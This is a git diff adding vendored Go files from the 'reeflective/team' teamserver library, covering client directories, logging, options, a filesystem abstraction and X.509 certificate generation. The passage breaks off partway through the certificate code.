b/vendor/github.com/reeflective/team/client/directories.go new file mode 100644 index 0000000000..0c2129c992 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/directories.go @@ -0,0 +1,94 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os/user" + "path/filepath" + + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/log" +) + +// HomeDir returns the root application directory (~/.app/ by default). +// This directory can be set with the environment variable _ROOT_DIR. +// This directory is not to be confused with the ~/.app/teamclient directory +// returned by the client.TeamDir(), which is specific to the app teamclient. +func (tc *Client) HomeDir() string { + var dir string + + // Note: very important not to combine the nested if here. + if !tc.opts.inMemory { + if tc.homeDir == "" { + user, _ := user.Current() + dir = filepath.Join(user.HomeDir, "."+tc.name) + } + } else { + dir = "." + tc.name + } + + err := tc.fs.MkdirAll(dir, log.DirPerm) + if err != nil { + tc.log().Errorf("cannot write to %s root dir: %s", dir, err) + } + + return dir +} + +// TeamDir returns the teamclient directory of the app (named ~/./teamclient/), +// creating the directory if needed, or logging an error event if failing to create it. +// This directory is used to store teamclient logs and remote server configs. +func (tc *Client) TeamDir() string { + dir := filepath.Join(tc.HomeDir(), assets.DirClient) + + err := tc.fs.MkdirAll(dir, log.DirPerm) + if err != nil { + tc.log().Errorf("cannot write to %s root dir: %s", dir, err) + } + + return dir +} + +// LogsDir returns the directory of the teamclient logs (~/.app/logs), creating +// the directory if needed, or logging a fatal event if failing to create it. +func (tc *Client) LogsDir() string { + logsDir := filepath.Join(tc.TeamDir(), assets.DirLogs) + + err := tc.fs.MkdirAll(logsDir, log.DirPerm) + if err != nil { + tc.log().Errorf("cannot write to %s root dir: %s", logsDir, err) + } + + return logsDir +} + +// GetConfigDir returns the path to the remote teamserver configs directory +// for this application (~/.app/teamclient/configs), creating the directory +// if needed, or logging a fatal event if failing to create it. +func (tc *Client) ConfigsDir() string { + rootDir, _ := filepath.Abs(tc.TeamDir()) + dir := filepath.Join(rootDir, assets.DirConfigs) + + err := tc.fs.MkdirAll(dir, log.DirPerm) + if err != nil { + tc.log().Errorf("cannot write to %s configs dir: %s", dir, err) + } + + return dir +} diff --git a/vendor/github.com/reeflective/team/client/errors.go b/vendor/github.com/reeflective/team/client/errors.go new file mode 100644 index 0000000000..d4ccd8f553 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/errors.go @@ -0,0 +1,43 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import "errors" + +var ( + // ErrNoTeamclient indicates that the client cannot remotely query a server + // to get its version or user information, because there is no client RPC + // to do it. Make sure that your team/client.Client has been given one. + ErrNoTeamclient = errors.New("this teamclient has no client implementation") + + // ErrConfig is an error related to the teamclient connection configuration. + ErrConfig = errors.New("client config error") + + // ErrNoConfig indicates that no configuration, default or on file system, was found. + ErrNoConfig = errors.New("no client configuration was selected or parsed") + + // ErrConfigNoUser says that the configuration has no user, + // which is not possible even if the client is an in-memory one. + ErrConfigNoUser = errors.New("client config with empty user") + + // ErrClient indicates an error raised by the client when igniting or connecting. + // Most errors are raised by the underlying transport stack, which can be user-specific, + // so users of this library should unwrap ErrClient errors to check against their owns. + ErrClient = errors.New("teamclient dialer") +) diff --git a/vendor/github.com/reeflective/team/client/log.go b/vendor/github.com/reeflective/team/client/log.go new file mode 100644 index 0000000000..ed602c227e --- /dev/null +++ b/vendor/github.com/reeflective/team/client/log.go @@ -0,0 +1,114 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io" + "path/filepath" + + "github.com/reeflective/team/internal/log" + "github.com/sirupsen/logrus" +) + +// NamedLogger returns a new logging "thread" with two fields (optional) +// to indicate the package/general domain, and a more precise flow/stream. +// The events are logged according to the teamclient logging backend setup. +func (tc *Client) NamedLogger(pkg, stream string) *logrus.Entry { + return tc.log().WithFields(logrus.Fields{ + log.PackageFieldKey: pkg, + "stream": stream, + }) +} + +// SetLogWriter sets the stream to which the stdio logger (not the file logger) +// should write to. This option is used by the teamclient cobra command tree to +// synchronize its basic I/O/err with the teamclient backend. +func (tc *Client) SetLogWriter(stdout, stderr io.Writer) { + tc.stdoutLogger.Out = stdout + // TODO: Pass stderr to log internals. +} + +// SetLogLevel sets the logging level of all teamclient loggers. +func (tc *Client) SetLogLevel(level int) { + if tc.stdoutLogger == nil { + return + } + + if uint32(level) > uint32(logrus.TraceLevel) { + level = int(logrus.TraceLevel) + } + + tc.stdoutLogger.SetLevel(logrus.Level(uint32(level))) + + if tc.fileLogger != nil { + tc.fileLogger.SetLevel(logrus.Level(uint32(level))) + } +} + +// log returns a non-nil logger for the client: +// if file logging is disabled, it returns the stdout-only logger, +// otherwise returns the file logger equipped with a stdout hook. +func (tc *Client) log() *logrus.Logger { + if tc.fileLogger != nil { + return tc.fileLogger + } + + if tc.stdoutLogger == nil { + tc.stdoutLogger = log.NewStdio(logrus.WarnLevel) + } + + return tc.stdoutLogger +} + +func (tc *Client) errorf(msg string, format ...any) error { + logged := fmt.Errorf(msg, format...) + tc.log().Error(logged) + + return logged +} + +func (tc *Client) initLogging() (err error) { + // By default, the stdout logger is never nil. + // We might overwrite it below if using our defaults. + tc.stdoutLogger = log.NewStdio(logrus.WarnLevel) + + // Path to our client log file, and open it (in mem or on disk) + logFile := filepath.Join(tc.LogsDir(), log.FileName(tc.Name(), false)) + + // If the teamclient should log to a predefined file. + if tc.opts.logFile != "" { + logFile = tc.opts.logFile + } + + // If user supplied a logger, use it in place of the + // file-based logger, since the file logger is optional. + if tc.opts.logger != nil { + tc.fileLogger = tc.opts.logger + return nil + } + + // Create the loggers writing to this file, and hooked to write to stdout as well. + tc.fileLogger, tc.stdoutLogger, err = log.Init(tc.fs, logFile, logrus.InfoLevel) + if err != nil { + return err + } + + return nil +} diff --git a/vendor/github.com/reeflective/team/client/options.go b/vendor/github.com/reeflective/team/client/options.go new file mode 100644 index 0000000000..da12a3deb4 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/options.go @@ -0,0 +1,200 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io" + "os" + "strings" + + "github.com/sirupsen/logrus" +) + +// Options are client options. +// You can set or modify the behavior of a teamclient at various +// steps with these options, which are a variadic parameter of +// several client.Client methods. +// Note that some options can only be used once, while others can be +// used multiple times. Examples of the former are log files, while +// the latter includes dialers/hooks. +// Each option will specify this in its description. +type Options func(opts *opts) + +type opts struct { + homeDir string + noLogs bool + logFile string + inMemory bool + console bool + local bool + stdout io.Writer + config *Config + logger *logrus.Logger + dialer Dialer[any] + hooks []func(s any) error +} + +func defaultOpts() *opts { + return &opts{ + config: &Config{}, + } +} + +func (tc *Client) apply(options ...Options) { + for _, optFunc := range options { + optFunc(tc.opts) + } + + // The server will apply options multiple times + // in its lifetime, but some options can only be + // set once when created. + tc.initOpts.Do(func() { + // Application home directory. + homeDir := os.Getenv(fmt.Sprintf("%s_ROOT_DIR", strings.ToUpper(tc.name))) + if homeDir != "" { + tc.homeDir = homeDir + } else { + tc.homeDir = tc.opts.homeDir + } + }) + + if tc.opts.dialer != nil { + tc.dialer = tc.opts.dialer + } + + if tc.opts.stdout != nil { + tc.stdoutLogger.Out = tc.opts.stdout + } +} + +// +// *** General options *** +// + +// WithInMemory deactivates all interactions of the client with the on-disk filesystem. +// This will in effect use in-memory files for all file-based logging and database data. +// This might be useful for testing, or if you happen to embed a teamclient in a program +// without the intent of using it now, etc. +// +// This option can only be used once, and should be passed to server.New(). +func WithInMemory() Options { + return func(opts *opts) { + opts.noLogs = true + opts.inMemory = true + } +} + +// WithConfig sets the client to use a given remote teamserver configuration which +// to connect to, instead of using default on-disk user/application configurations. +func WithConfig(config *Config) Options { + return func(opts *opts) { + opts.config = config + } +} + +// WithHomeDirectory sets the default path (~/.app/) of the application directory. +// This path can still be overridden at the user-level with the env var APP_ROOT_DIR. +// +// This option can only be used once, and must be passed to server.New(). +func WithHomeDirectory(path string) Options { + return func(opts *opts) { + opts.homeDir = path + } +} + +// +// *** Logging options *** +// + +// WithNoLogs deactivates all logging normally done by the teamclient +// if noLogs is set to true, or keeps/reestablishes them if false. +// +// This option can only be used once, and should be passed to server.New(). +func WithNoLogs(noLogs bool) Options { + return func(opts *opts) { + opts.noLogs = noLogs + } +} + +// WithLogFile sets the path to the file where teamclient logging should be done. +// If not specified, the client log file is ~/.app/teamclient/logs/app.teamclient.log. +// +// This option can only be used once, and should be passed to server.New(). +func WithLogFile(filePath string) Options { + return func(opts *opts) { + opts.logFile = filePath + } +} + +// WithLogger sets the teamclient to use a specific logger for logging. +// +// This option can only be used once, and should be passed to server.New(). +func WithLogger(logger *logrus.Logger) Options { + return func(opts *opts) { + opts.logger = logger + } +} + +// +// *** Client network/RPC options *** +// + +// WithDialer sets a custom dialer to connect to the teamserver. +// See the Dialer type documentation for implementation/usage details. +// +// It accepts an optional list of hooks to run on the generic clientConn +// returned by the client.Dialer Dial() method (see Dialer doc for details). +// This client object can be pretty much any client-side conn/RPC object. +// You will have to typecast this conn in your hooks, casting it to the type +// that your teamclient Dialer.Dial() method returns. +// +// This option can be used multiple times, either when using +// team/client.New() or when using the teamclient.Connect() method. +func WithDialer(dialer Dialer[any], hooks ...func(clientConn any) error) Options { + return func(opts *opts) { + opts.dialer = dialer + opts.hooks = append(opts.hooks, hooks...) + } +} + +// WithLocalDialer sets the teamclient to connect with an in-memory dialer +// (provided when creating the teamclient). This in effect only prevents +// the teamclient from looking and loading/prompting remote client configs. +// +// Because this is automatically called by the teamserver.Serve(client) +// function, you should probably not have any reason to use this option. +func WithLocalDialer() Options { + return func(opts *opts) { + opts.local = true + } +} + +// WithNoDisconnect is meant to be used when the teamclient commands are used +// in a closed-loop (readline-style) application, where the connection is used +// more than once in the lifetime of the Go program. +// If this is the case, this option will ensure that any cobra client command +// runners produced by this library will not disconnect after each execution. +// +// This option can only be used once, and should be passed to server.New(). +func WithNoDisconnect() Options { + return func(opts *opts) { + opts.console = true + } +} diff --git a/vendor/github.com/reeflective/team/internal/assets/fs.go b/vendor/github.com/reeflective/team/internal/assets/fs.go new file mode 100644 index 0000000000..d70442b832 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/assets/fs.go @@ -0,0 +1,203 @@ +package assets + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "io/fs" + "os" + "path/filepath" + "strings" + + "github.com/psanford/memfs" +) + +const ( + FileReadPerm = 0o600 // FileReadPerm is the permission bit given to the OS when reading files. + DirPerm = 0o700 // DirPerm is the permission bit given to teamserver/client directories. + FileWritePerm = 0o644 // FileWritePerm is the permission bit given to the OS when writing files. + + // FileWriteOpenMode is used when opening log files in append/create/write-only mode. + FileWriteOpenMode = os.O_APPEND | os.O_CREATE | os.O_WRONLY +) + +const ( + // Teamclient. + + DirClient = "teamclient" // DirClient is the name of the teamclient subdirectory. + DirLogs = "logs" // DirLogs subdirectory name + DirConfigs = "configs" // DirConfigs subdirectory name + + // Teamserver. + + DirServer = "teamserver" // DirClient is the name of the teamserver subdirectory. + DirCerts = "certs" // DirCerts subdirectory name +) + +// FS is a filesystem abstraction for teamservers and teamclients. +// When either of them are configured to run in memory only, this +// filesystem is initialized accordingly, otherwise it will forward +// its calls to the on-disk filesystem. +// +// This type currently exists because the stdlib io/fs.FS type is read-only, +// and that in order to provide a unique abstraction to the teamclient/server +// filesystems, this filesystem type adds writing methods. +type FS struct { + mem *memfs.FS + root string +} + +// NewFileSystem returns a new filesystem configured to run on disk or in-memory. +func NewFileSystem(root string, inMemory bool) *FS { + filesystem := &FS{ + root: root, + } + + if inMemory { + filesystem.mem = memfs.New() + } + + return filesystem +} + +// MkdirAll creates a directory named path, along with any necessary parents, +// and returns nil, or else returns an error. +// The permission bits perm (before umask) are used for all directories that MkdirAll creates. +// If path is already a directory, MkdirAll does nothing and returns nil. +// +// If the filesystem is in-memory, the teamclient/server application root +// is trimmed from this path, if the latter contains it. +func (f *FS) MkdirAll(path string, perm fs.FileMode) error { + if f.mem == nil { + return os.MkdirAll(path, perm) + } + + path = strings.TrimPrefix(path, f.root) + + return f.mem.MkdirAll(path, perm) +} + +// Sub returns a file system (an fs.FS) for the tree of files rooted at the directory dir, +// or an error if it failed. When the teamclient fs is on disk, os.Stat() and os.DirFS() are used. +// +// If the filesystem is in-memory, the teamclient/server application root +// is trimmed from this path, if the latter contains it. +func (f *FS) Sub(path string) (fs fs.FS, err error) { + if f.mem == nil { + _, err = os.Stat(path) + + return os.DirFS(path), err + } + + path = strings.TrimPrefix(path, f.root) + + return f.mem.Sub(path) +} + +// Open is like fs.Open(). +// +// If the filesystem is in-memory, the teamclient/server application root +// is trimmed from this path, if the latter contains it. +func (f *FS) Open(name string) (fs.File, error) { + if f.mem == nil { + return os.Open(name) + } + + name = strings.TrimPrefix(name, f.root) + + return f.mem.Open(name) +} + +// OpenFile is like os.OpenFile(), but returns a custom *File type implementing +// the io.WriteCloser interface, so that it can be written to and closed more easily. +func (f *FS) OpenFile(name string, flag int, perm fs.FileMode) (*File, error) { + inFile := &File{ + name: name, + } + + if f.mem != nil { + inFile.mem = f.mem + + return inFile, nil + } + + file, err := os.OpenFile(name, flag, perm) + if err != nil { + return nil, err + } + + inFile.file = file + + return inFile, nil +} + +// WriteFile is like os.WriteFile(). +func (f *FS) WriteFile(path string, data []byte, perm fs.FileMode) error { + if f.mem == nil { + return os.WriteFile(path, data, perm) + } + + path = strings.TrimPrefix(path, f.root) + + return f.mem.WriteFile(path, data, perm) +} + +// ReadFile is like os.ReadFile(). +func (f *FS) ReadFile(path string) (b []byte, err error) { + if f.mem == nil { + return os.ReadFile(path) + } + + _, err = f.mem.Open(path) + if err != nil { + return + } + + return fs.ReadFile(f.mem, path) +} + +// File wraps the *os.File type with some in-memory helpers, +// so that we can write/read to teamserver application files +// regardless of where they are. +// This should disappear if a Write() method set is added to the io/fs package. +type File struct { + name string + file *os.File + mem *memfs.FS +} + +// Write implements the io.Writer interface by writing data either +// to the file on disk, or to an in-memory file. +func (f *File) Write(data []byte) (written int, err error) { + if f.file != nil { + return f.file.Write(data) + } + + fileName := filepath.Base(f.name) + + return len(data), f.mem.WriteFile(fileName, data, FileWritePerm) +} + +// Close implements io.Closer by closing the file on the filesystem. +func (f *File) Close() error { + if f.file != nil { + return f.file.Close() + } + + return nil +} diff --git a/vendor/github.com/reeflective/team/internal/certs/README.md b/vendor/github.com/reeflective/team/internal/certs/README.md new file mode 100644 index 0000000000..ea7e38806b --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/README.md @@ -0,0 +1,4 @@ +certs +====== + +X.509 certificate generation and management code. diff --git a/vendor/github.com/reeflective/team/internal/certs/ca.go b/vendor/github.com/reeflective/team/internal/certs/ca.go new file mode 100644 index 0000000000..6550626dd0 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/ca.go @@ -0,0 +1,149 @@ +package certs + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/ecdsa" + "crypto/x509" + "encoding/pem" + "fmt" + "os" + "path/filepath" + + "github.com/reeflective/team/internal/log" +) + +// ----------------------- +// CERTIFICATE AUTHORITY +// ----------------------- + +const ( + certFileExt = "teamserver.pem" +) + +// GetUsersCA returns the certificate authority for teamserver users. +func (c *Manager) GetUsersCA() (*x509.Certificate, *ecdsa.PrivateKey, error) { + return c.getCA(userCA) +} + +// GetUsersCAPEM returns the certificate authority for teamserver users, PEM-encoded. +func (c *Manager) GetUsersCAPEM() ([]byte, []byte, error) { + return c.getCAPEM(userCA) +} + +// SaveUsersCA saves a user certificate authority (may contain several users). +func (c *Manager) SaveUsersCA(cert, key []byte) { + c.saveCA(userCA, cert, key) +} + +// generateCA - Creates a new CA cert for a given type, or die trying. +func (c *Manager) generateCA(caType string, commonName string) (*x509.Certificate, *ecdsa.PrivateKey) { + storageDir := c.getCertDir() + + certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt)) + if _, err := os.Stat(certFilePath); os.IsNotExist(err) { + c.log.Infof("Generating certificate authority for '%s'", caType) + cert, key := c.GenerateECCCertificate(caType, commonName, true, false) + c.saveCA(caType, cert, key) + } + + cert, key, err := c.getCA(caType) + if err != nil { + c.log.Fatalf("Failed to load CA: %s", err) + } + + return cert, key +} + +// getCA - Get the current CA certificate. +func (c *Manager) getCA(caType string) (*x509.Certificate, *ecdsa.PrivateKey, error) { + certPEM, keyPEM, err := c.getCAPEM(caType) + if err != nil { + return nil, nil, err + } + + certBlock, _ := pem.Decode(certPEM) + if certBlock == nil { + c.log.Error("Failed to parse certificate PEM") + return nil, nil, err + } + + cert, err := x509.ParseCertificate(certBlock.Bytes) + if err != nil { + c.log.Error("Failed to parse certificate: " + err.Error()) + return nil, nil, err + } + + keyBlock, _ := pem.Decode(keyPEM) + if keyBlock == nil { + c.log.Error("Failed to parse certificate PEM") + return nil, nil, err + } + + key, err := x509.ParseECPrivateKey(keyBlock.Bytes) + if err != nil { + c.log.Error(err) + return nil, nil, err + } + + return cert, key, nil +} + +// getCAPEM - Get PEM encoded CA cert/key. +func (c *Manager) getCAPEM(caType string) ([]byte, []byte, error) { + caType = filepath.Base(caType) + caCertPath := filepath.Join(c.getCertDir(), fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt)) + caKeyPath := filepath.Join(c.getCertDir(), fmt.Sprintf("%s_%s-ca-key.%s", c.appName, caType, certFileExt)) + + certPEM, err := c.fs.ReadFile(caCertPath) + if err != nil { + c.log.Error(err) + return nil, nil, err + } + + keyPEM, err := c.fs.ReadFile(caKeyPath) + if err != nil { + c.log.Error(err) + return nil, nil, err + } + + return certPEM, keyPEM, nil +} + +// saveCA - Save the certificate and the key to the filesystem +// doesn't return an error because errors are fatal. If we can't generate CAs, +// then we can't secure communication and we should die a horrible death. +func (c *Manager) saveCA(caType string, cert []byte, key []byte) { + storageDir := c.getCertDir() + + // CAs get written to the filesystem since we control the names and makes them + // easier to move around/backup + certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt)) + keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-key.%s", c.appName, caType, certFileExt)) + + err := c.fs.WriteFile(certFilePath, cert, log.FileReadPerm) + if err != nil { + c.log.Fatalf("Failed write certificate data to %s, %s", certFilePath, err) + } + + err = c.fs.WriteFile(keyFilePath, key, log.FileReadPerm) + if err != nil { + c.log.Fatalf("Failed write certificate data to %s: %s", keyFilePath, err) + } +} diff --git a/vendor/github.com/reeflective/team/internal/certs/certs.go b/vendor/github.com/reeflective/team/internal/certs/certs.go new file mode 100644 index 0000000000..4f7c7d0242 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/certs.go @@ -0,0 +1,375 @@ +package certs + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "bytes" + "crypto/ecdsa" + "crypto/elliptic" + "crypto/rand" + "crypto/rsa" + "crypto/x509" + "crypto/x509/pkix" + "encoding/binary" + "encoding/pem" + "errors" + "fmt" + "math/big" + insecureRand "math/rand" + "net" + "path/filepath" + "time" + + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/db" + "github.com/reeflective/team/internal/log" + "github.com/sirupsen/logrus" + "gorm.io/gorm" +) + +const ( + // ECCKey - Namespace for ECC keys. + ECCKey = "ecc" + + // RSAKey - Namespace for RSA keys. + RSAKey = "rsa" + + // Internal constants. + daysInYear = 365 + hoursInDay = 24 + validForYears = 3 + serialNumberLen = 128 +) + +// ErrCertDoesNotExist - Returned if a GetCertificate() is called for a cert/cn that does not exist. +var ErrCertDoesNotExist = errors.New("Certificate does not exist") + +// Manager is used to manage the certificate infrastructure for a given teamserver. +// Has access to a given database for storage, a logger and an abstract filesystem. +type Manager struct { + appName string + appDir string + log *logrus.Entry + db *gorm.DB + fs *assets.FS +} + +// NewManager initializes and returns a certificate manager for a given teamserver. +// The returned manager will have ensured that all certificate authorities are initialized +// and working, or will create them if needed. +// Any critical error happening at initialization time will send a log.Fatal event to the +// provided logger. If the latter has no modified log.ExitFunc, this will make the server +// panic and exit. +func NewManager(filesystem *assets.FS, db *gorm.DB, logger *logrus.Entry, appName, appDir string) *Manager { + certs := &Manager{ + appName: appName, + appDir: appDir, + log: logger, + db: db, + fs: filesystem, + } + + certs.generateCA(userCA, "teamusers") + + return certs +} + +// GetECCCertificate - Get an ECC certificate. +func (c *Manager) GetECCCertificate(caType string, commonName string) ([]byte, []byte, error) { + return c.GetCertificate(caType, ECCKey, commonName) +} + +// GetRSACertificate - Get an RSA certificate. +func (c *Manager) GetRSACertificate(caType string, commonName string) ([]byte, []byte, error) { + return c.GetCertificate(caType, RSAKey, commonName) +} + +// GetCertificate - Get the PEM encoded certificate & key for a host. +func (c *Manager) GetCertificate(caType string, keyType string, commonName string) ([]byte, []byte, error) { + if keyType != ECCKey && keyType != RSAKey { + return nil, nil, fmt.Errorf("Invalid key type '%s'", keyType) + } + + c.log.Infof("Getting certificate ca type = %s, cn = '%s'", caType, commonName) + + certModel := db.Certificate{} + result := c.db.Where(&db.Certificate{ + CAType: caType, + KeyType: keyType, + CommonName: commonName, + }).First(&certModel) + + if errors.Is(result.Error, db.ErrRecordNotFound) { + return nil, nil, ErrCertDoesNotExist + } + + if result.Error != nil { + return nil, nil, result.Error + } + + return []byte(certModel.CertificatePEM), []byte(certModel.PrivateKeyPEM), nil +} + +// RemoveCertificate - Remove a certificate from the cert store. +func (c *Manager) RemoveCertificate(caType string, keyType string, commonName string) error { + if keyType != ECCKey && keyType != RSAKey { + return fmt.Errorf("Invalid key type '%s'", keyType) + } + + c.log.Infof("Deleting certificate for cn = '%s'", commonName) + + err := c.db.Where(&db.Certificate{ + CAType: caType, + KeyType: keyType, + CommonName: commonName, + }).Delete(&db.Certificate{}).Error + + return err +} + +// -------------------------------- +// Generic Certificate Functions +// -------------------------------- + +// GenerateECCCertificate - Generate a TLS certificate with the given parameters +// We choose some reasonable defaults like Curve, Key Size, ValidFor, etc. +// Returns two strings `cert` and `key` (PEM Encoded). +func (c *Manager) GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) { + c.log.Infof("Generating TLS certificate (ECC) for '%s' ...", commonName) + + var privateKey interface{} + var err error + + // Generate private key + curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()} + curve := curves[randomInt(len(curves))] + + privateKey, err = ecdsa.GenerateKey(curve, rand.Reader) + if err != nil { + c.log.Fatalf("Failed to generate private key: %s", err) + } + + subject := pkix.Name{ + CommonName: commonName, + } + + return c.generateCertificate(caType, subject, isCA, isClient, privateKey) +} + +// GenerateRSACertificate - Generates an RSA Certificate. +func (c *Manager) GenerateRSACertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) { + c.log.Debugf("Generating TLS certificate (RSA) for '%s' ...", commonName) + + var privateKey interface{} + var err error + + // Generate private key + privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize()) + if err != nil { + c.log.Fatalf("Failed to generate private key: %s", err) + } + + subject := pkix.Name{ + CommonName: commonName, + } + + return c.generateCertificate(caType, subject, isCA, isClient, privateKey) +} + +func (c *Manager) generateCertificate(caType string, subject pkix.Name, isCA bool, isClient bool, privateKey interface{}) ([]byte, []byte) { + // Valid times, subtract random days from .Now() + notBefore := time.Now() + days := randomInt(daysInYear) * -1 // Within -1 year + notBefore = notBefore.AddDate(0, 0, days) + notAfter := notBefore.Add(randomValidFor()) + c.log.Debugf("Valid from %v to %v", notBefore, notAfter) + + // Serial number + serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), serialNumberLen) + serialNumber, _ := rand.Int(rand.Reader, serialNumberLimit) + c.log.Debugf("Serial Number: %d", serialNumber) + + keyUsage := x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature + var extKeyUsage []x509.ExtKeyUsage + + switch { + case isCA: + c.log.Debugf("Authority certificate") + + keyUsage = x509.KeyUsageCertSign | x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature + extKeyUsage = []x509.ExtKeyUsage{ + x509.ExtKeyUsageServerAuth, + x509.ExtKeyUsageClientAuth, + } + case isClient: + c.log.Debugf("Client authentication certificate") + + extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth} + default: + c.log.Debugf("Server authentication certificate") + + extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth} + } + + c.log.Debugf("ExtKeyUsage = %v", extKeyUsage) + + // Certificate template + template := x509.Certificate{ + SerialNumber: serialNumber, + Subject: subject, + NotBefore: notBefore, + NotAfter: notAfter, + KeyUsage: keyUsage, + ExtKeyUsage: extKeyUsage, + BasicConstraintsValid: isCA, + } + + if !isClient { + // Host or IP address + if ip := net.ParseIP(subject.CommonName); ip != nil { + c.log.Debugf("Certificate authenticates IP address: %v", ip) + template.IPAddresses = append(template.IPAddresses, ip) + } else { + c.log.Debugf("Certificate authenticates host: %v", subject.CommonName) + template.DNSNames = append(template.DNSNames, subject.CommonName) + } + } else { + c.log.Debugf("Client certificate authenticates CN: %v", subject.CommonName) + } + + // Sign certificate or self-sign if CA + var certErr error + var derBytes []byte + + if isCA { + c.log.Debugf("Certificate is an AUTHORITY") + + template.IsCA = true + template.KeyUsage |= x509.KeyUsageCertSign + derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey) + } else { + caCert, caKey, err := c.getCA(caType) // Sign the new certificate with our CA + if err != nil { + c.log.Fatalf("Invalid ca type (%s): %s", caType, err) + } + derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey) + } + + if certErr != nil { + // We maybe don't want this to be fatal, but it should basically never happen afaik + c.log.Fatalf("Failed to create certificate: %s", certErr) + } + + // Encode certificate and key + certOut := bytes.NewBuffer([]byte{}) + pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}) + + keyOut := bytes.NewBuffer([]byte{}) + pem.Encode(keyOut, c.pemBlockForKey(privateKey)) + + return certOut.Bytes(), keyOut.Bytes() +} + +func (c *Manager) saveCertificate(caType string, keyType string, commonName string, cert []byte, key []byte) error { + if keyType != ECCKey && keyType != RSAKey { + return fmt.Errorf("Invalid key type '%s'", keyType) + } + + c.log.Infof("Saving certificate for cn = '%s'", commonName) + + certModel := &db.Certificate{ + CommonName: commonName, + CAType: caType, + KeyType: keyType, + CertificatePEM: string(cert), + PrivateKeyPEM: string(key), + } + + result := c.db.Create(&certModel) + + return result.Error +} + +// getCertDir returns the directory (and makes it if needed) for writing certificate backups. +func (c *Manager) getCertDir() string { + rootDir := c.appDir + certDir := filepath.Join(rootDir, "certs") + + err := c.fs.MkdirAll(certDir, 